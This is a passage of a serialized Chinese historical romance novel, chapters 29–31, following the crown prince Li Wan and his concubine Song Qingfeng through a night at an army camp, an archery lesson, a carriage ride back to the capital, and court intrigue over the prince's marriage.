随知宋轻风听闻,立刻从被窝里爬出来,从怀里摸出一个巾帕来,将地上的糕点全都捡了,一个个小心地吹了吹,包裹得严严实实,而后塞进了怀里。 他看着她胸前鼓囊囊的一团,陡然想到之前见到的光景。 不由转过头去。 方有些静下来的心思又活泛了起来。 他咳嗽一声,转头想起她方才吃糕点那小心翼翼的模样,连碎屑都怕浪费。 终于转移话题,不确定地问道:“你以前,缺吃的?” 宋轻风没想到他会问这种问题,也不瞒着他道:“我自小一个人在外头,缺吃少喝再自然不过。” “一个人?你的母亲?” 他记得她是宁安侯在外头的私生女,宁安侯风流成性,有私生女并不稀奇,但是她总归有母亲养大。 宋轻风道:“或许有吧?我不记得了。” “什么?” “我有记忆以来便是一个人了,六七岁之前的事好像记得又好像忘了。” 李岏心中讶异。 没想到她居然六七岁就是孤身一人,在这世上漂泊,一个六七岁的孩子,能过什么样的日子? 他心中一沉,生出一丝异样的感觉,脑海中陡然冒出一个小小的女孩子,小脸脏兮兮,眼睛却又黑又亮。 那小女孩仰着头看他,可怜兮兮地摸着肚子道:“哥哥,我好饿。” 李岏皱了皱眉,将这突然冒出来的怪异想象甩到了脑后。 他努力回想先前送来的她的卷宗,可惜那时他并未打开细看,并想不起来更多的信息。 只得问道:“你的生辰是哪日?” 宋轻风冻得裹进被窝里去,随口含含糊糊地道:“不记得了。” 她连自己是从哪里来的都不记得了,哪里还记得什么生辰。 屋内的烛火极暗。 照在床上和地上的两人。 两人都沉默了许久,不知在想什么事情。 好一会李岏看向宋轻风的目光多了丝难见的温和:“想来你少时失怙,定是受了许多欺凌。” 宋轻风哈欠连天道:“也还好吧,习惯着,习惯着,就好了。” “想来太子殿下小时候,一定是这天底下最叫人羡慕的孩子。” 李岏沉默了一瞬,一会才道:“是,孤自出生便是储君,自小锦衣玉食,奴仆环绕。不过,这世上之事,又哪里是十全十美。” 宋轻风微微点了点头,他虽然奴仆环绕,整日里身旁围着许多人,可他却总好像是一个人,没人能真正地走近他。 在这暗夜里,李岏笑了笑道:“其实不管是在民间,还是在宫里,无父母之爱的孤儿,都会受到欺凌。” 宋轻风见他坐在床头,突然现出半点颓唐,加上他略显文弱的气质,瞧起来竟是脆弱模样,与他平日里大不相同。 不由道:“好在殿下的父母具在,父母之爱俱全。” 李岏抬头,露出一丝冷笑。 “便是殿下的亲事,听闻陛下与皇后娘娘也是极为关心,还特意为您设了这场菊花宴,叫您去相看有没有喜欢的姑娘呢。” 李岏不语,谁知这场宴,是不是鸿门宴?若是在宴上做了什么手脚,强逼着他娶了谁,是想要他当着一群人的面公然抗旨? “只是殿下为何不去?难道您心中已有喜欢的姑娘了?” 说到婚事,宋轻风的瞌睡去了大半,好奇地半伸出身子,八卦道:“听闻您喜欢的就是那个祝家大小姐!长得确实不赖,您既喜欢她,你们又门当户对的,直接告诉皇后娘娘就好啦,听闻她极温柔,定会顺了你的心意。” 李岏转了冷脸道:“这不是你该谈论的。” 宋轻风八卦的心受了打击,低头道:“哦。” “今夜你此番做派,放平日里孤是绝不能容的,只是谅你入府不久,也算年少无知,绝不要有下次。” 宋轻风见他又恢复了满面的冷意,彷佛方才的脆弱少年,不过是昙花一现。 反应这么大,看来确实叫她说对了。 她原就困得不行,不过是强打精神,听闻此言,只是慢慢道:“是了,妾知晓……哎呀!” 一声惊叫,将李岏惊地一跳。 “怎么了?” 却见宋轻风捂住肚子,小脸皱成了一堆,哎哟哎哟地道:“肚子疼。” 李岏刚下去的火又窜了上来,冷斥道:“不让你吃非要吃!就是自找的!”说完却扬声道:“高守,叫太医。” “是。”屋外高守应道。 宋轻风却先一步哗地坐起来,拿着被子将自己裹成了蝉蛹:“别叫人,别叫人。” 李岏见她披头散发可怜地看着自己,皱眉道:“不叫太医,你想上天?” “不,不上天,就出去一下。” 宋轻风裹着被子爬起来,如蝉蛹一般顾涌顾涌地跳走了,跳走前不好意思地朝他笑道:“殿下您睡吧,我……我方便方便。” “屋外冷,快些。” “知道了。” 好一会宋轻风神清气爽地回来了,昏黄的营帐内烛火燃着,却见李岏还坐在床头,连件衣裳都没披。 灯火照着他冷峻的眉眼,此刻不知从哪里摸了本文书,正自看着。 他居然在等自己? 宋轻风心下生了感动,裹着被子跳到床边歪头笑道:“太子殿下您对我太好了,居然还在等……” 哪知李岏却抬头道:“孤知道了,巡防营此番做派,不过是在给某人让路。” “啊?” 宋轻风这才尴尬地发现,床旁的黑暗里,还站着个人,正是高守。 “你下去吧。” 高守冷着脸飞快地扫了她一眼,便行礼退下了。 宋轻风有些尴尬,乖乖地跑到地上重又躺好,没话找话:“殿下您这么晚还忙呢。” 李岏并不睬她,只是低头看着文书。 不过片刻,却听闻轻鼾声响起。 他转过头,鼾声正是从她被窝里传来的。 这声音太过陌生,陌生地叫他心头生了异样,从小到大,还从未有人敢在他面前睡着,更别提打鼾。 只是她整个人又全都埋进了被窝里,小小的被面只有一点微微隆起。 让人怀疑里头是否真的有个人。 这般睡觉,连呼吸都困难,对身体极为有害。 不知是哪里养成的恶习! 李岏忍了忍,到底忍不住,冷着脸下床,走到近前躬身一把拉了被褥。 宋轻风小小的脑袋被从里头挖了出来,只是此刻睡得很深,咂巴了一下嘴也不反抗。 嘴角居然还残留着糕点的碎屑。 他蹲下身,下意识要去掸掉了那碎屑,手快要碰到脸颊时,才猛然惊醒过来。 吓得如被烫了一般缩了回来—— 作者有话说:宝子们,明晚的更新放在周五晚上11:30,晚安~ 评论区给大家发红包[加油] 第30章 第 30 章 火丹 天还没亮, 宋轻风就被一阵一阵的呼喝声吵醒了。 抬起头,却发现床上已经空无一人。 竟不知何时人已走了。 她困得捂住脑袋,又躺了回去, 迷蒙中却听有细细的人声自门口传来:“宋娘子到现在还没醒吗?殿下的床褥还未收拾呢。” 她一惊,想起来如今在西山大营,不能落下脸面。 连忙起床, 随意洗簌走到外面, 发现军营里头人声鼎沸,热闹非凡, 众人居然早都起床了。 高守守了一夜,顶上了两黑眼圈,此刻也没去护卫太子殿下, 只是站在门口。 宋轻风瞧了瞧他, 不知为何莫名有些尴尬。 哪知高守飞快道:“太子殿下去了校场,晌午便会起驾回京,殿下让娘子自行在此等着就是,或可四处转转也行。” 不等宋轻风回答, 他说完便转身飞奔走了。 用完早膳, 她无所事事,索性也没见到昨日可怕的铁人面具,也没人拦着她, 干脆在军营里四处走走。 不一时却听到远处呼喝马蹄之声,走近了才发现居然来到了一块校场, 场内许多马在狂奔, 扬起尘土阵阵。 场中许多兵士,一手执缰,一手执弓, 在马上疾驰中,单手脱了缰绳,弯弓搭箭。 上头的鼓手击打着鼓面,咚咚作响,场边的将士们呼喝声山呼海啸。 当真是热血景象。 众人之中,她一眼瞧见远处的太子殿下。 他并未穿着甲胄,也不在校场上,反而穿着一身玄黑色的长袖锦袍,端坐在场边的一处高台上,气质矜贵令人不敢逼视。 身旁站着的,是一个身披重甲的将军,瞧着四十来岁的模样,目光移动间,从她身上扫过。 便是隔着这么远,宋轻风都叫他看得全身一惊,低下头去。 宋轻风默默地退到人群里,和着众人一起观着场中正在进行的演练。 看着看着,竟看出了神,浑身的热水也跟着沸腾了起来,不自觉跟着其他人一起欢呼起来。 不知看了多久,一人凑上前来笑道:“怎么样!这校场演兵,是不是特叫人热血沸腾?” 宋轻风转头,却见云逍站在一旁,他今日倒是穿了一身黑色轻甲,衬得人唇红齿白,明媚不凡。 只是那面上得意神色,好似在校场上纵横驰骋的是他一般。 宋轻风连连点头:“确实。他们这骑马射箭的本领,实在叫人佩服。” 她倒是有些明白昨夜这云逍所言。 若她是个男儿身,只怕也想在这军伍之地驰骋。 云逍抱臂叹道:“只可惜太子殿下受了伤,今日无缘得见殿下百步穿杨的绝技,令人惋惜。” “百步穿杨?” 她记得那日祝家小姐入东宫时,便连连赞叹太子的骑射了得,她只当是吹捧之言。 云逍道:“那是自然。太子殿下十二岁时就进了军营,十五岁便已战绩斐然,可是真正的天之骄子。” “听说他老人家在这骑射上,更是百发百中,一骑绝尘,说来也只有我的偶像白马战神能与之相比了。若不是我早先一步拜了白马战神为偶像,就要拜殿下为偶像了。唉,只是近几年殿下一心向学,很少再舞刀弄箭了。” “是么?”宋轻风抬目,看向远处高台上的白色人影,安静地彷佛整个激烈的校场演练丝毫影响不了他。 “他的剑术也很厉害吗?”宋轻风问道。 云逍想了想道:“这倒不知,未曾见殿下舞过剑。” “哦。” “为何问这个?” 宋轻风笑了笑道:“随口问问。” “站在殿下旁边的那个黑着脸的是谁?” 云逍看都没看,却面上现出一丝紧张来道:“是不是瞧着像旁人欠了他十吊钱的那个?” “对对对!”宋轻风连连点头。 “那便是我们西山大营统帅,一品武侯,谢危谢大人。他武艺高强,又一向铁面无私,冷血无情,这军营里头没几个人不怕他。” “他是大营统帅?” “是啊。” 宋轻风扬着脸笑道:“我听别人叫你大将军,以为你是此处的统帅呢。” 云逍尴尬地挠了挠脑袋道:“我自然也是,不过是副的,副的,我小小年纪,能当个副的已是天赋异禀了!” “怎么昨日不见他?” 云逍道:“安西四镇地动,数万人受灾,个把月前谢侯带着物资前往支援去了,今晨天没亮方赶回来。” 宋轻风没有言语。 云逍道:“在这站着也无聊,我带你去射箭如何?” 宋轻风退后一步,连连摆手道:“我,我不会啊。” “哎呀!”不会才要叫你的嘛! 云逍在这军营里呆得淡出鸟来,而今终于找到个比自己射箭差的,哪里肯轻易放过,得意地道,“我教你!很简单的。” 宋轻风半推半就,跟着走了。 高台之上,李岏扫过消失在远处的两人背影,便转回头去,拿起茶盏来喝了一口。 不过轻抿一口便放下了,他摸了摸被包扎的手背,开口道:“谢侯。” 旁边挺身而立的谢危见问,忙抱拳行礼道:“末将在。” “安西情形如何?” 谢危答道:“朝廷的赈灾还算及时,各地粮食调拨也算顺利,奔赴在一线的镇北军补给也接上了,安置好灾民之后,便准备回营去。数十万灾民皆感念太子殿下和顾大将军,顾将军也让末将转告殿下,镇北军一切安好,殿下莫要挂心。” 李岏叩了茶盏边缘道:“近日孤收到消息,说有上百灾民在往上京方向来。” 谢危皱眉道:“怎么会?臣一路袭来,未曾听闻,按理说当地既已有赈灾粮和庇护所,灾民该就地留守才是。” 李岏自袖中掏出一封书信递给他。 “前些时日,孤收到暗探密信,北戎已派了奸细前来。” 谢危躬身接过,不过扫了两眼,面色一变道:“近年北戎皇室诸皇子夺嫡,愈演愈烈,太子殿下,您是担心北戎人会借机浑水摸鱼?莫非,这奸细就混在这批灾民之中!” 李岏道:“孤不得不这样想。北戎嫡子之争的关键,便是镇国玉玺,谁得了玉玺谁便得了这北戎的名正言顺。这些年边境有镇北军守着,上京城又防控严格,让他们没有可乘之机,可若是借此时机混入上京,现在是最好的机会。” 说完他转过头来,眸色淡淡地看着身旁这位朝廷上将军。 他话说的含蓄,谢危却已明白。 此次安西地动,镇北军半数而出,却因粮草不继,被困在灾区。而当今陛下对镇北军是个什么心思,他自然清楚。若是北戎人趁机混入,一可伺机夺回镇国玉玺,二则…… 借此从内部击破,离间君臣情谊,并非不可能。 这是北戎内部嫡子之争,对于我朝,又何尝不是陛下与储君之…… 还未想完,谢危感受到对面投来的目光,虽然对方还只是个十八岁的少年,但这目光淡淡的,却似乎已看穿了他心中所想。 他忍不住心中一惊,冷汗从额上滴落下来,埋下头道:“太子殿下,末将誓死效忠殿下。” 李岏道:“孤十八岁生辰将至,各地官员藩王入京朝贺,你且派人在上京的各个关隘把守,若是遇到灾民,好生带去城外皇觉寺安置下来,若是其他可疑人,也不必惊动,派人跟着就是。” 谢危迟疑了一瞬道:“殿下,既怀疑有北戎人的奸细混进流民里,何不将人全都拦截不得靠近京师?末将再派人将人扣了一一排查,这样方万无一失。” 李岏转过头来看着他,双眸中冷若寒霜:“若是为了一两个奸细,便要抓捕上百灾民,这行径与北戎何异?” 谢危被他冷声所慑,跪地汗颜道:“是!末将惭愧。” 李岏自座位上起身,拂袖离去…… 宋轻风被拖到了一块营帐的后头,那里立着一只小靶。 几个官兵瞧见云逍来了,具都行礼道:“云将军。” 云逍摆手道:“去去去,去其他地方玩去,这里我包了。” 说着他颠颠地跑到靶子旁,将那靶子拖到近前来,又从一旁的架子上,取了柄半大的黄杨弓来:“这是军营给年纪小的新兵用的,正适合你。” 说着他自己射了一箭,不想这箭居然中了靶子,虽然只是外围一圈,但于他已是超常发挥,还没来得及得意,却听旁边宋轻风已经鼓掌赞叹道:“你好厉害,这样随意一拉就能中!” 云逍转头,见她一双黑圆的眼睛看着自己,里头一片真诚的赞美,不由嘿嘿笑道:“失手失手了,不过小菜一碟,你照我方才做的来试试,射不到很正常的。” 宋轻风接了弓箭,照着云逍的模样,用力拉起弦,对着靶子用力一拉。 只听箭弦“铮”地一声,箭头居然笃地一声,射在了靶子中间。 云逍忍不住双目圆瞪。 宋轻风挠头不好意思地道:“侥幸,侥幸。” 云逍笑道:“我自然知道你这是侥幸,运气倒是不赖。” 说着他转了转眼睛,又将靶子搬回了原来的地方道:“这样来试试。” 宋轻风抓起另一支箭又瞄了一下便射了出去。 云逍眼瞧着那箭头飞到半途,划了道弧线就落了下去,连靶子边都没摸着。 他心中这才落定,心道方才果然只是侥幸,还好自己没丢人。 只是云逍原不过带她来消遣,打发时间,哪知她摸到了弓,却好似上了瘾,再难放下。 没一会就面色通红,双臂似乎都在微微发抖,不由道:“宋娘子我带你去歇歇吧,这弓箭非一日之弓,要想射得好,没个一年半载的刻苦练习是不成的。况且你是个女孩子,练个玩玩罢了。” 宋轻风却瞄着靶子道:“女孩子难道不能做神箭手吗?想要练成你这样的水平,需要多久?” 云逍脸不红心不跳地道:“像我这么厉害的可不是靠练就能练出来的,有时候还需要一些天赋。” “呵。” 说完却听身后传来一声冷哼。 云逍脸皮一热,堆了满脸的笑才转过头去道:“太子殿下,您怎么来了啊?” 李岏看也未看他,径直走到宋轻风旁边,却见她面颊微红,额上已生了汗,一粒晶莹的汗珠顺着细长的脖颈滑落进衣领。 他低下头,拿起她手中那只黄杨木弓,一把扔了道:“用这样的弓练,一辈子也就和云逍一样的水平了。” 云逍尴尬地笑了笑道:“这……这不,宋娘子力气小,刚合适。” 李岏与宋轻风道:“你想学射箭?” 宋轻风扯了扯裙边,点头道:“是。” 不想他却未问她为何想学射箭,只是伸了伸手。 跟在后头的高守立时呈上一只雕花铁红色的大弓,李岏接过来,随手弯弓搭箭,“嗖”地一声,那箭正中靶心。 一套动作行云流水,左右不过眨眼之间,他连瞄准都没有做。 宋轻风忍不住张大嘴巴,惊地合不拢嘴。 果真百闻不如一见,云逍再如何吹嘘,也不如亲眼所见的震撼大。 李岏射完一把将弓扔给了高守,而后道:“练箭,需要的是人弓箭,三者合一,这箭就像你自己的手,每一下打出去,总能准确找到位置。所以练箭刚开始要做的,是找一只合适的手。” 宋轻风见他居然主动讲学,激动地道:“太子殿下,您能教教我怎么选合适的手吗?” “没空。” 李岏说着转身就走。 宋轻风无语。又忍不住追在身后问道:“太子殿下,您的嘴怎么了?” 李岏冷着脸只作未闻,但是唇边火丹却愈发火辣辣地又疼又痒。 今晨太医已用了药,却丝毫不见成效—— 作者有话说:李岏:高守呢?高守人呢? 小喽喽:高大人睡觉去了。 李岏:让他来!让他扛着孤的雕花大弓来!! 明晚见~晚安《 》 30-35 第31章 第 31 章 他想要的…… 午膳之后, 太子仪仗回京。 李岏一早登上了马车,缓缓驶出大营。 临行前,宋轻风与云逍道:“云逍, 你射箭这般厉害,我以后若是练箭遇到问题,可以请教你吗?” 云逍爽快地道:“那自然, 你遣人送信与我就是了。” 宋轻风开心地笑起来:“那太好了!有你这样的高手指点我, 我射箭的水平指日可待了!” “嘿,嘿嘿。”云逍心道, 虽然我菜了一些,但是指点你还是可以的,也不算骗人吧? 眼见着马车越行越远, 宋轻风摆手道:“我走了。” 云逍见她要走, 磕磕巴巴地道:“听闻太子殿下正在择太子妃的人选,若是……若是太子妃以后容不下你,你若是没处可去,可以……”说着他低声地道, “可以来寻我。” 宋轻风点了点头道:“好啊。” “真的?”云逍不想她回答的这样干脆, 低头却见这姑娘一边回答着,目光却一眨不眨地盯着缓缓驾向辕门的马车。 人都看不见,那眼神, 却从未离开过。 他心中暗淡了一瞬,她到底是对太子殿下用了情。 只是这东宫……凭她的身份, 唉, 以后哪里会有她的容身之地呢。 宋轻风道:“你笑起来真好看,我喜欢你。” 云逍张着嘴,还未说话, 却发现她已提着裙摆,奔了出去。 太子仪仗浩浩荡荡一群人。 前前后后,光东宫卫就近上百人,骑着马围着中间一个镶金嵌玉的华盖马车,阵仗极大。 宋轻风默默咂了咂舌,低头跟在内侍的后头,不一时,却见高守骑着马回头走到她面前道:“太子殿下让娘子上车。” “上车?” 宋轻风左右一看,这车队统共就一驾马车,便是太子殿下的车。 来不及诧异,高守便已带着她走到了马车旁回道:“太子殿下,人带来了。” “上来。”车内传出的果然是太子的声音。 宋轻风心中忐忑,爬上了马车,掀开车帘,果然瞧见李岏正倚靠在软枕上看书。 见她上来,他抬目示意她坐在侧面。 这车本就比一般的马车大,车内陈设无不精美齐全,完全一个移动的小型书房的模样。 车厢内都是他身上常用的味道,冷冽清香。 只是这马车再如何大,两个人呆在里面都稍显拥挤,尤其是宋轻风想要端着身子,要与他保持一定的距离。 车厢内不知是什么在照明,很是亮堂,她便欣赏着他低头看书。 李岏并未抬头,却道:“你方才说想要学箭?” 宋轻风不妨他此刻突然又发问了,只是点头道:“是。” “为何?” 宋轻风道:“彩云镇在安西,西北边陲,有时会受北戎侵扰,若我学会射箭,以后才能不受别人欺凌,算是有个自保的能力。” 李岏心中一跳,蓦然抬头道:“以后?西北?” 宋轻风不由笑了笑,点头道:“太子殿下,您说过等太子妃娘娘入东宫,若是娘娘介意,会遣散东宫的姬妾……我也是您的姬妾,不是吗?” 李岏喉头滚了滚,却未说话。 “况且您的娘娘们,可不会喜欢我,我也不懂规矩,留下来迟早小命葬送。” 李岏却皱了眉头,嘴角噙了冰冷笑意道:“云逍,祖籍江南云氏,百年簪缨门第,书香世家,近百年光进士出身就有十几人,还出过两个状元,一个探花。其父亲云漠,现任都察院都察御史。” “什么?”宋轻风不明就里。 李岏看着她,眸子里透着冷:“这样的门第,对于姻亲,是极在乎出身的,对姻亲的择选,要求比皇室更甚。” 宋轻风这才知道他在说什么,原来方才她和云逍的话他都知道了。 “我离开东宫,也不会去投靠他的。” 李岏这才道:“宁安侯府在别处有宅子?” 宋轻风道:“不知道。” “……” “你离开京师准备何处安身,一介女流,如何生存?” “我自安西来,自然还要回安西去。” 李岏闭了口,面上却覆了寒霜,整个人都是一股生人勿近的压迫。 宋轻风看着他的模样,突然道:“我这样一直缠着您,您是不是很不开心?” “……对不起。” 李岏眉心一跳还未开口,宋轻风又轻声,似乎在自言自语:“放心吧,安西离此千里之遥,我以后也不会来京师,我们不会再见面了,你可以放心,你的娘娘们也可以放心。” 车轮似乎从一个石块上碾过,车身“咔嗒”一声剧烈地颠簸了一下。 李岏在车内感到浑身一颠,不由对外头怒斥道:“混帐东西,怎么驾的车?” 驾车的侍从慌了神,连连请罪。 他却似余怒未消,脸色黑得吓人,纵使外面的人瞧不见他的面色,却也战战兢兢。 高守弃了马,上了马车,亲自来驾车。 他内力深厚,驾的车又快又稳,车内一时恢复了平静。 他脾气倒是一如既往地大。 宋轻风见他复又低头看书,只是眉心锁着,目中郁郁,气质愈发地冷凝。 然而他今日唇边却生了个通红的火丹,莫名有些好笑。 她忍不住又道:“原来太子殿下唇上也会生火丹。” 李岏不欲再与她讲话,却忍不住冷嗤道:“孤也是一介凡人,会病会死,为何不会生火丹?” 宋轻风道:“太子殿下为何总是不爱笑?” 李岏一愣。 “殿下这样的样貌,笑起来是极好看的,何况你还更年轻。” “没有规矩!” 李岏感到唇边的丹又痒又疼,心头愈发烦躁,一把扔了书,闭起眼睛不再睬她。 不知过了多久,却听她又一惊一炸地道:“天!这是什么湖,这般好看!” 李岏忍不住睁开眼睛,从她掀开的车帘向外看去。 湖面波光碎金,映着远处山影倒影,和碧空万里,一行白鹭绕湖而飞,竟是难得一见的好景致。 这是京郊玉梳湖。 他每年里自这湖边过不知多少回,第一回发现这湖这般景色宜人。 目光自湖面转回来,却见宋轻风扒在车窗边上,惊喜地盯着远处的湖,侧颜似乎一并映着湖水的碧清,眸光里潋滟成波。 一小缕秀发落在耳垂边上,被风吹着轻轻荡漾,挠得人心中发痒。 那小小的耳朵在微光里薄若透明。 叫人移不开目光…… 京师南城门平日里虽有卫兵把手,但是百姓客商出入自由。 今日午后,却从城门外十里地始,到城内御街,直通皇城,全都有卫兵把手,封控管制,严禁来往走动。 久居京师的民众都知道,这是有大人物进城了。 果然等日头快要落尽,一队有上百人护卫的豪华马车慢慢进了城。 不过马车遮蔽严实,瞧不见里头的半点光景。 宋轻风却偷偷露出一双眸子,从缝隙里看到街道两侧卫兵林立,马车过处,无不垂首敛目。 热闹的街市此刻一个等闲人也没有,只有车轮辘辘之声,伴着前后整齐的马蹄脚步声,她不由暗暗心虚。 这么大的排场,若是叫其他人知道马车里头还混进了一个她,只怕又是满城风雨。 她收回眼睛,见太子倚靠在软垫上,双手环着,双目闭着,似乎睡着了。 眼见着宫城出现在远处,宋轻风犹豫了一瞬,轻声道:“太子殿下?” “嗯。”不想对面人虽然没有睁眼,却回应了。 宋轻风没来由地有些激动,小声问道:“太子殿下,妾见东宫的西苑里头有块小校场,能借来练箭吗?” 问完见他面色发冷,双眸发沉,抿着唇不说话。 以为他对自己胆敢染指他的地方生气了,宋轻风忙退缩道:“我只是随口问问,若是不能借就算了……” 李岏睁开眼睛,见她双目炯炯地看着自己,里头都是小心翼翼。冷着脸道:“那块场地孤不会用,你若要用且用去。只是,先做好你份内之事。” 宋轻风闻言,开心地拍手道:“太好了!殿下您太好了!妾一定每日变着花样给您做好吃的点心!” 李岏见她脸颊露出两只浅浅的梨涡,满目兴奋地看着自己,不由转过了脸去。 “孤素来不喜甜食,不必再枉费心思。” 宋轻风却道:“甜食这么好吃的东西,怎会有人不喜欢呢,您多尝两口兴许就喜欢上了。” 李岏不欲与她纠缠,只是道:“孤宫内有厨子,每日里自有人按孤的口味来做。” 宋轻风道:“好吧,那就算了。” 李岏彻底冷了脸。 宋轻风不知为何他又冷了,见他眉眼间都堆着冰雪,操着手坐着,繁复的衣摆堆叠在椅子旁,贵气逼人,仿佛人世的什么事都打动不了他的心。 她觉得两人昨夜的一点亲近荡然无存。 好一会,宋轻风觉得自己既受了他的好处,他又不要她做点心,总该活络一下气氛,只好没话找话道:“殿下昨夜不归,不怕陛下斥责吗?” 李岏嘴角微讽道:“他只要得到他想要的,这些都无足轻重。” “他想要的是什么?” 李岏睁开眼睛,扫了她一眼道:“这不是你该问的。” “哦。” “在京师,知道的越少,命越长。” 宋轻风感到一凉,缩了缩脖子,又道:“哦。” 自己为何要没话找话。 “循规蹈矩,多听少言,才是宫里长久生存之道。” “可是…” “可是什么?” “没什么。” 李岏补充道:“自然还有一条。” “什么?” “自己若是能力不足,找一个强大的靠山,未必不是长久的方法。” 宋轻风连连点头道:“说得很有道理!” 李岏面色稍霁,哪知宋轻风又皱着眉道:“可是…” 见李岏皱眉,宋轻风支支吾吾,却还是硬着头皮道:“马上快要进宫了,若是…” 不等她说完,李岏挥手道:“下去。” “哎,好。” 宋轻风得了令,如蒙大赦正准备滚下马车,想起什么又不好意思地道:“还有那个……” 李岏面无表情地看她绞着衣摆,打断她道:“若是你想在外头买东西,趁早打消了这个心思,外头的东西,是带不进宫的。若是缺什么,自己去寻高守。” “哎。”宋轻风点头如捣葱。 这人当真是七窍玲珑心,似乎有看穿他人的能力,就是脾气臭了点。 马车慢慢驶进了宫城,随行的护卫相继停在了宫门各处,只有贴身护卫的跟到了方华殿外。 宋轻风在外头逛了一圈赶回东宫,便听闻太子已去了大内。 顶头的上峰不在,她索性便回屋瘫倒在了床上。 正睡得迷迷糊糊,却感到有人在推她。 宋轻风困得人魂分离,半睁开眼睛,瞧见是乌梅又绿二人,遂又闭了眼睛摆了摆手道:“有什么事,等我睡醒再说吧,太困了。” 又绿笑道:“娘子怎么困成这副模样?” 宋轻风嘟哝道:“昨夜在大营伺候殿下,哪里有觉睡。” 乌梅又绿二人面色一变,互相看了一眼。 见宋轻风抱着枕头,眼睛都未睁开,乌梅问道:“昨夜娘子伺候殿下?” “对啊,殿下精神头太好,又饿得不行,折腾了半宿,我就没睡上两个时辰。” 又绿想到要紧事,倒抽一口冷气道:“可有人服侍娘子喝药?” 宋轻风恨不得缝上她两的嘴,只是将被子捂住脑袋嘟囔道:“军营里头哪来的药。” “娘子没喝药?” 当真是如嘎嘎一般聒噪,宋轻风挥赶她们道:“喝什么喝?” “殿下可知道?” “自然。” 乌梅又绿二人面面相觑,而后一喜,乌梅压低声音笑道:“殿下这是准许娘子有孕了!”。 勤政殿里依旧昏沉,烛火极暗,冷香萦绕在鼻端,直冲胸腹。 皇帝便坐在楠木桌后,整个人隐在灯火之下,身上的龙纹刺目耀眼。 李岏低着头,走到远处便停住,撩起衣摆跪下行礼。 皇帝见他低头跪着,一身锦绣,面无表情。 他心中涌起浓浓的失望,这个儿子,这般目无君父,心中除了权欲,还有半点父子人伦? 燎燎炉香中,皇帝冷哼一声道:“朕怎么敢受太子殿下的大礼,丁德庸,请太子殿下起来吧。” 丁德庸冷汗连连,今日他没寻得合适的机会溜出去,实在是失算了。 如今得令不敢耽搁,尴尬地走上前来,俯下身道:“太子殿下,奴婢扶您起身。” 不想李岏也不请罪,却真的就着他的手,起身了。 皇帝见他如此做派,气得面黑如炭,放在桌下的手指微微发颤。 不用看,李岏也知皇帝已经压不住怒火,遂道:“陛下让臣起身,臣不敢不从,若是希望臣跪着,吩咐一声就是了。” 皇帝怒极反笑,双目微眯冷笑道:“太子殿下果然好大的排场,朕与皇后亲自请你,也请不来你的大驾。倒是摆了十足的架势进京,怎么,是怕人不知您太子这两日落了父皇母后的颜面,去了西山大营?” 李岏道:“臣去西山大营,此行已事先禀告了陛下。此处前去,是与谢危商讨京师各关隘布控一事。” 皇帝不想他居然自己主动提了此事,倒是大出意外。 李岏低着头,沉声道:“陛下应该有收到奏报,有灾民一路在往京师方向来,而不久又是臣的生辰,臣的婚事也上了议程,各路的船粮也在陆续抵京,年底诸般事宜,臣恐其中出何差错。” “因此请谢将军提前做好安排,若是陛下觉得不妥,倒可召各部一起从长计议。” 皇帝冷哼一声道:“计议自是要计议,只是近年各处多灾,西北又用兵事,国库艰难,你一个十八岁的生辰,还是不要大操大办的好。” “是。” 皇帝道:“倒是你的婚事,皇后苦心为你张罗数日,你不知感恩,却摆出好大的架子给谁看!” 李岏道:“臣昨日受了兵戈之伤,不敢进宫面君,恐染了皇家盛宴。况且婚姻大事,向来是父母之命媒妁之言,天家更应如此,有陛下与皇后娘娘坐镇,臣心中自然放心,在不在倒并不重要。陛下这样说,臣心中实在惶恐。” 说着惶恐,可面上毫无惶恐之色,皇帝的手抚过冰冷的台面,一时反倒生了疑。 面上冷硬下来:“既如此,你的婚事,便交由皇后全权处理了。” 李岏一动不动,似乎所有的一切都激不起他的半分涟漪,只是道:“是。” 他答应地这般爽快。 皇帝心头微微惊诧,既然婚事上能拿捏,其他的事倒可先放一放。 遂挥手道:“下去。”。 秋风萧瑟,转悠在紫晨宫顶。 一片落叶旋转着从屋顶飘落,皇后抬起头,放下手中绣活,接住了这枯黄泛红的落叶。 嬷嬷孙氏掀开帘子走进来,低声俯耳道:“奴婢已打听清楚了,祝家大小姐确实是病了,只是这病,却是因为她与张尚书家千金闹了龌蹉,被祝大人罚跪了十来天的祠堂。” 皇后将手中枯叶放置回窗台外面,没有说话。 孙嬷嬷又凑上来低声接道:“昨夜太子殿下缺席了宴席,不曾想这祝家小姐又刚巧这时候病了,奴婢觉得未免太巧了些。只是太子殿下不出席的事,一早也无人得知,连我们都被蒙在鼓里,倒是与祝家先通了气?” 皇后道:“哪有这么多巧合的事。” 说着重又拿起针线,一针针绣着手中的花样。 孙嬷嬷见她漫不经心的样子,不由急了,却不敢多说什么,上前给她斟了茶,到底忍不住道:“敢情这祝家是攀上太子殿下这根高枝了。” 有些话她一个下人不便说出口,皇后自然也明白其中的意思。 太子选妃在即,任谁都知道他有意与祝家结亲。 祝家乃是文官之首,这样一来,这朝堂之上,不管是文臣还是武将都收入囊中,他这太子之位,将再无人能撼动。 “他是先皇后嫡子,名正言顺的储君,外头又有个好娘家,左不过这天下以后都是他的,祝家有这样的心思,也不足为奇。” 孙嬷嬷道:“哎哟我的大小姐,您这些年不争不抢,又费心张罗,人家也未识您的好,咱们虽然惹不起,可怎么着也要为晋王殿下考虑一二。晋王殿下的心思,奴婢瞧得真真的,他是真看上那祝家大小姐了。” 皇后道:“唉,六郎的心思我不是不知,可人家昨夜来都没来,我也没办法。” 孙嬷嬷看了看杯子里的茶水,目中神色变幻。 原本一切安排的万无一失,却没想到这重要的两位主角,都未登场,好好的一出戏落了空。 实在是可惜。 皇后面上毫无可惜之色,反倒多了丝少女的娇憨,看了看外头天色道:“不知陛下此时在做什么呢?” 孙嬷嬷道:“奴婢来前去打听了,陛下方召见了太子殿下,正在前头说话。” 皇后立时放下针线,笼了笼衣裳道:“怎么不早说,快为我梳妆去见驾。” 还没出门,却见嬷嬷杨氏匆匆进来,满面喜色道:“娘娘,喜事。” 皇后和孙嬷嬷一愣。 杨氏凑近道:“方才陛下派人传来消息,太子殿下的婚事,交由娘娘全权处理。” 孙嬷嬷一听,喜上心头。 “娘娘,”她想了想到底不敢说太子的闲话,转而道:“晋王殿下的婚事可算有了着落,您可安睡了。” 皇后却跌坐回鸾镜前。 见她面色突然不好,两个嬷嬷不解,孙嬷嬷疑惑道:“娘娘您怎么了?这难道不是喜事?” 皇后看着镜子中自己依旧年轻美艳的容颜,低声道:“但愿是吧。” 只是以她对太子的了解,他又岂是甘愿他人摆布之人? 